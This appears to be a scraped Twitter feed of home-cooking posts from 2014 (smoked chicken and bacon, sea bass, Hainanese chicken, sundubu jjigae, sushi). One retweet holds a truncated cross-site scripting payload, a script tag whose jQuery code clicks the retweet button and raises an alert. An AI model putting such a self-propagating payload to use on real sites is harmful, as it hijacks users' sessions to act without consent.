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Chicken hot off the smoker http://t.co/lmofsj5e3C
Yesterday, 11:18 PM
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It must be almost the 4th of July... http://t.co/qYbHn6G4ei
Jul 03 2014 06:06 PM
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Sea bass ravioli with marjoram and potatoes - a favorite of ours from Mario Batali's "Holiday Food". http://t.co/S4mdNmER1I
Jul 02 2014 09:07 PM
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We were almost out of bacon, so it was time to fire up the smoker... http://t.co/xV4krhxW2u
Jul 01 2014 05:06 PM
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Hainanese chicken prep - taking an ice bath. http://t.co/EafpAj6NMp
Jun 30 2014 08:06 PM
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Sundubu jjigae with an oyster thrown in for good measure. http://t.co/NuX98n6jdl
Jun 29 2014 11:07 PM
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Baja sea bass from @CatalinaOP with cilantro sauce and Pil-Pil potatoes. http://t.co/odCMuiaQTx
Jun 27 2014 10:00 PM
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RT @derGeruhn: <script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('XSS in Tweet…
Jun 11 2014 12:42 PM
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Fish sandwich - panko crusted Lingcod from @CatalinaOP with homemade zesty dills, lettuce, tomato & American cheese. http://t.co/ijygjoEEWf
Jun 08 2014 09:42 PM
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Pork butt hot off the smoker. http://t.co/Yuqwo6fQaw
Jun 07 2014 09:13 PM
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We went through Tucson today, and that means Sonoran hot dogs. This was from Aqui Con El Nene: http://t.co/JI9XlCb9TP
May 30 2014 05:11 PM
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Drinking "San Diego Surprise" right now. Really tasty at 5.5%. Alpine does such a great job with their low-ABV IPAs.
May 29 2014 08:10 PM
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Yellowfin nigiri and maki http://t.co/pu8oGNfph9
May 23 2014 08:34 PM
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Farmers' market corn, @CatalinaOP bay scallops, roasted peppers and caramelized onions - a riff on a Balthazar recipe http://t.co/585YE5vWCZ
May 17 2014 09:04 PM